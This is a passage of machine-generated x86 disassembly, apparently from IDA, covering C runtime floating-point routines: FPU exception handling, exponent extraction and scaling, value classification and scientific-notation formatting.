; ---------------------------------------------------------------------------

loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C8A0
		fnstsw	ax
		sahf
		ja	short loc_4213FE
		fchs

loc_4213FE:				; CODE XREF: sub_42135F+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421406:				; CODE XREF: sub_42135F+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_42141E
		fld	dbl_43C890
		jmp	short loc_421426
; ---------------------------------------------------------------------------

loc_42141E:				; CODE XREF: sub_42135F+B5j
		fld	dbl_43C8A0
		fchs

loc_421426:				; CODE XREF: sub_42135F+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_42142E:				; CODE XREF: sub_42135F+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jbe	short loc_421446
		fld	dbl_43C8A0
		jmp	short loc_42144E
; ---------------------------------------------------------------------------

loc_421446:				; CODE XREF: sub_42135F+DDj
		fld	dbl_43C890
		fchs

loc_42144E:				; CODE XREF: sub_42135F+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421474
; ---------------------------------------------------------------------------

loc_421456:				; CODE XREF: sub_42135F+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43C890
		fnstsw	ax
		sahf
		ja	short loc_42146E
		fchs

loc_42146E:				; CODE XREF: sub_42135F+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]

loc_421474:				; CODE XREF: sub_42135F+A5j
					; sub_42135F+CDj ...
		fstp	qword ptr [ecx]

loc_421476:				; CODE XREF: sub_42135F+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421554
; ---------------------------------------------------------------------------

loc_42147E:				; CODE XREF: sub_42135F+47j
					; sub_42135F+51j
		test	al, 2
		jz	loc_421554
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421554
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421499
		mov	esi, ebx

loc_421499:				; CODE XREF: sub_42135F+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jz	loc_421542
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_42170B
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_4214E4
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421538
; ---------------------------------------------------------------------------

loc_4214E4:				; CODE XREF: sub_42135F+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jnb	short loc_4214F6
		mov	edx, ebx
		jmp	short loc_4214F8
; ---------------------------------------------------------------------------

loc_4214F6:				; CODE XREF: sub_42135F+191j
		xor	edx, edx

loc_4214F8:				; CODE XREF: sub_42135F+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_42152C
		sub	eax, ecx

loc_42150F:				; CODE XREF: sub_42135F+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_42151A
		test	esi, esi
		jnz	short loc_42151A
		mov	esi, ebx

loc_42151A:				; CODE XREF: sub_42135F+1B3j
					; sub_42135F+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421526
		or	byte ptr [ebp+var_C+3],	80h

loc_421526:				; CODE XREF: sub_42135F+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_42150F

loc_42152C:				; CODE XREF: sub_42135F+1ACj
		test	edx, edx
		jz	short loc_421538
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]

loc_421538:				; CODE XREF: sub_42135F+183j
					; sub_42135F+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421544
; ---------------------------------------------------------------------------

loc_421542:				; CODE XREF: sub_42135F+14Ej
		mov	esi, ebx

loc_421544:				; CODE XREF: sub_42135F+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421551
		push	10h
		call	sub_42180C
		pop	ecx

loc_421551:				; CODE XREF: sub_42135F+1E8j
		and	edi, 0FFFFFFFDh

loc_421554:				; CODE XREF: sub_42135F+26j
					; sub_42135F+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_42156B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_42156B
		push	20h
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFEFh

loc_42156B:				; CODE XREF: sub_42135F+1F9j
					; sub_42135F+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_42135F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421576(int,int,int,int,int,int,double,int)

sub_421576	proc near		; CODE XREF: sub_420FC1+2Bp
					; sub_421014+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421624
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_4215E1
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4217E9
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42401D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4215DB
		push	esi
		call	sub_4215FE
		pop	ecx

loc_4215DB:				; CODE XREF: sub_421576+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------

loc_4215E1:				; CODE XREF: sub_421576+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4217E9
		push	[ebp+arg_0]
		call	sub_4215FE
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4215FE	proc near		; CODE XREF: sub_421014+7Dp
					; sub_421576+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421619
		jle	short locret_421623
		cmp	eax, 3
		jg	short locret_421623
		mov	dword_4DB2A8, 22h
		retn
; ---------------------------------------------------------------------------

loc_421619:				; CODE XREF: sub_4215FE+7j
		mov	dword_4DB2A8, 21h

locret_421623:				; CODE XREF: sub_4215FE+9j
					; sub_4215FE+Ej
		retn
sub_4215FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_421624	proc near		; CODE XREF: sub_421576+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43C7B8

loc_42162B:				; CODE XREF: sub_421624+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421641
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43C890
		jl	short loc_42162B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_421641:				; CODE XREF: sub_421624+Dj
		mov	eax, off_43C7BC[ecx*8]
		retn
sub_421624	endp


; =============== S U B	R O U T	I N E =======================================



sub_421649	proc near		; CODE XREF: sub_421014+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421655
		push	5
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421655:				; CODE XREF: sub_421649+6j
		test	al, 8
		jz	short loc_42165D
		push	1
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_42165D:				; CODE XREF: sub_421649+Ej
		test	al, 4
		jz	short loc_421665
		push	2
		jmp	short loc_42166B
; ---------------------------------------------------------------------------

loc_421665:				; CODE XREF: sub_421649+16j
		test	al, 1
		jz	short loc_42166D
		push	3

loc_42166B:				; CODE XREF: sub_421649+Aj
					; sub_421649+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_42166D:				; CODE XREF: sub_421649+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421676(double)

sub_421676	proc near		; CODE XREF: sub_41C679:loc_41C6FFp
					; sub_41C7BF:loc_41C845p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421676	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421688(double,int)

sub_421688	proc near		; CODE XREF: sub_42170B+82p
					; sub_42170B+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421688	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4216B1	proc near		; CODE XREF: sub_41C679+31p
					; sub_41C7BF+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_4216C8
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	1
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216C8:				; CODE XREF: sub_4216B1+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_4216DA
		cmp	[ebp+arg_0], edx
		jnz	short loc_4216DA
		push	2
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216DA:				; CODE XREF: sub_4216B1+11j
					; sub_4216B1+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_4216ED
		push	3
		jmp	short loc_421704
; ---------------------------------------------------------------------------

loc_4216ED:				; CODE XREF: sub_4216B1+36j
		cmp	cx, 7FF0h
		jnz	short loc_421707
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421702
		cmp	[ebp+arg_0], edx
		jz	short loc_421707

loc_421702:				; CODE XREF: sub_4216B1+4Aj
		push	4

loc_421704:				; CODE XREF: sub_4216B1+15j
					; sub_4216B1+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421707:				; CODE XREF: sub_4216B1+41j
					; sub_4216B1+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_4216B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42170B(double,int)

sub_42170B	proc near		; CODE XREF: sub_42135F+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_42172B
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_4217C1
; ---------------------------------------------------------------------------

loc_42172B:				; CODE XREF: sub_42170B+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42179A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421743
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42179A

loc_421743:				; CODE XREF: sub_42170B+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427880
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_42175B
		push	1
		pop	eax
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_42175B:				; CODE XREF: sub_42170B+49j
		xor	eax, eax

loc_42175D:				; CODE XREF: sub_42170B+4Ej
					; sub_42170B+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_421776
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_421770
		or	dword ptr [ebp+arg_0+4], 1

loc_421770:				; CODE XREF: sub_42170B+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_42175D
; ---------------------------------------------------------------------------

loc_421776:				; CODE XREF: sub_42170B+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_421784
		or	byte ptr [ebp+arg_0+7],	80h

loc_421784:				; CODE XREF: sub_42170B+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_4217C1
; ---------------------------------------------------------------------------

loc_42179A:				; CODE XREF: sub_42170B+28j
					; sub_42170B+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421688
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_4217C1:				; CODE XREF: sub_42170B+1Bj
					; sub_42170B+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_42170B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217CC	proc near		; CODE XREF: sub_4210AC+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217DA	proc near		; CODE XREF: sub_4210AC+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_4217DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4217E9	proc near		; CODE XREF: sub_41C679+13p
					; sub_41C679+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_4217E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42180C	proc near		; CODE XREF: sub_42135F+1Dp
					; sub_42135F+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_421823
		fld	tbyte_43C8B8
		fistp	[ebp+arg_0]
		wait

loc_421823:				; CODE XREF: sub_42180C+Bj
		test	cl, 8
		jz	short loc_421838
		fstsw	ax
		fld	tbyte_43C8B8
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_421838:				; CODE XREF: sub_42180C+1Aj
		test	cl, 10h
		jz	short loc_421847
		fld	tbyte_43C8C4
		fstp	[ebp+var_8]
		wait

loc_421847:				; CODE XREF: sub_42180C+2Fj
		test	cl, 4
		jz	short loc_421855
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_421855:				; CODE XREF: sub_42180C+3Ej
		test	cl, 20h
		jz	short locret_421860
		fldpi
		fstp	[ebp+var_8]
		wait

locret_421860:				; CODE XREF: sub_42180C+4Cj
		leave
		retn
sub_42180C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421862	proc near		; CODE XREF: sub_41C748+Fp
		push	30000h
		push	10000h
		call	sub_424055
		pop	ecx
		pop	ecx
		retn
sub_421862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421874	proc near		; CODE XREF: sub_4218B2:loc_4218D6j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427890
		fstp	[ebp+var_8]
		fld	dbl_427888
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_427718
		fnstsw	ax
		sahf
		jbe	short loc_4218AE
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_4218AE:				; CODE XREF: sub_421874+33j
		xor	eax, eax
		leave
		retn
sub_421874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4218B2	proc near		; CODE XREF: sub_41C748+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 2680765h
		test	eax, eax
		jz	short loc_4218D6
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26A02C3h
		test	eax, eax
		jz	short loc_4218D6
		push	0
		call	eax ; sub_41C748
		retn
; ---------------------------------------------------------------------------

loc_4218D6:				; CODE XREF: sub_4218B2+Dj
					; sub_4218B2+1Dj
		jmp	sub_421874
sub_4218B2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4218DB	proc near		; CODE XREF: sub_41F69F+3CBp
					; DATA XREF: sub_41C760+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41D74C
		cmp	eax, 65h
		pop	ecx
		jz	short loc_42191B

loc_4218EF:				; CODE XREF: sub_4218DB+3Ej
		inc	esi
		cmp	dword_43C534, 1
		jle	short loc_421908
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_421917
; ---------------------------------------------------------------------------

loc_421908:				; CODE XREF: sub_4218DB+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43C328
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_421917:				; CODE XREF: sub_4218DB+2Bj
		test	eax, eax
		jnz	short loc_4218EF

loc_42191B:				; CODE XREF: sub_4218DB+12j
		mov	cl, byte_43C538
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_421926:				; CODE XREF: sub_4218DB+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_421926
		pop	esi
		retn
sub_4218DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421935	proc near		; CODE XREF: sub_41F69F+3E2p
					; DATA XREF: sub_41C760+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43C538
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_421951

loc_421945:				; CODE XREF: sub_421935+1Aj
		cmp	cl, dl
		jz	short loc_421951
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_421945

loc_421951:				; CODE XREF: sub_421935+Ej
					; sub_421935+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_421982

loc_421958:				; CODE XREF: sub_421935+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42196B
		cmp	cl, 65h
		jz	short loc_42196B
		cmp	cl, 45h
		jz	short loc_42196B
		inc	eax
		jmp	short loc_421958
; ---------------------------------------------------------------------------

loc_42196B:				; CODE XREF: sub_421935+27j
					; sub_421935+2Cj ...
		mov	ecx, eax

loc_42196D:				; CODE XREF: sub_421935+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42196D
		cmp	[eax], dl
		jnz	short loc_421978
		dec	eax

loc_421978:				; CODE XREF: sub_421935+40j
					; sub_421935+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_421978

locret_421982:				; CODE XREF: sub_421935+21j
		retn
sub_421935	endp


; =============== S U B	R O U T	I N E =======================================



sub_421983	proc near		; DATA XREF: sub_41C760+28o
					; ___:off_43C8E0o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427880
		fnstsw	ax
		sahf
		jb	short loc_421998
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_421998:				; CODE XREF: sub_421983+Fj
		xor	eax, eax
		retn
sub_421983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42199B	proc near		; CODE XREF: sub_420510+430p
					; DATA XREF: sub_41C760+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_4219C4
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424518
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4219C4:				; CODE XREF: sub_42199B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424545
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42199B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4219D9	proc near		; CODE XREF: sub_421C56+17p
					; sub_421CA0+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DB340, 0
		push	ebx
		push	esi
		jz	short loc_421A0E
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DB33C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_421CF1
		pop	ecx
		pop	ecx
		jmp	short loc_421A46
; ---------------------------------------------------------------------------

loc_421A0E:				; CODE XREF: sub_4219D9+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_4245E9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424572
		add	esp, 14h

loc_421A46:				; CODE XREF: sub_4219D9+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_421A52
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_421A52:				; CODE XREF: sub_4219D9+73j
		test	ebx, ebx
		jle	short loc_421A6A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43C538
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_421A6A:				; CODE XREF: sub_4219D9+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DB340, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41BEB0
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_421A91
		mov	byte ptr [ecx],	45h

loc_421A91:				; CODE XREF: sub_4219D9+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_421AD6
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_421AA5
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_421AA5:				; CODE XREF: sub_4219D9+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_421ABC
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421ABC:				; CODE XREF: sub_4219D9+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_421AD3
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_421AD3:				; CODE XREF: sub_4219D9+E7j
		add	[ecx+1], bl

loc_421AD6:				; CODE XREF: sub_4219D9+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4219D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_421ADD	proc near		; CODE XREF: sub_421C7D+13p
					; sub_421CA0+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DB340, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_421B18
		mov	eax, dword_4DB344
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DB33C
		cmp	eax, ebx
		jnz	short loc_421B48
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_421B48
; ---------------------------------------------------------------------------

loc_421B18:				; CODE XREF: sub_421ADD+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_4245E9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424572
		add	esp, 14h

loc_421B48:				; CODE XREF: sub_421ADD+22j
					; sub_421ADD+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_421B56
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_421B56:				; CODE XREF: sub_421ADD+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_421B6D
		push	1
		push	edi
		call	sub_421CF1
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_421B6F
; ---------------------------------------------------------------------------

loc_421B6D:				; CODE XREF: sub_421ADD+7Ej
		add	edi, eax

loc_421B6F:				; CODE XREF: sub_421ADD+8Ej
		test	ebx, ebx
		jle	short loc_421BB4
		push	1
		push	edi
		call	sub_421CF1
		mov	al, byte_43C538
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_421BB4
		cmp	byte_4DB340, 0
		jz	short loc_421B99
		neg	esi
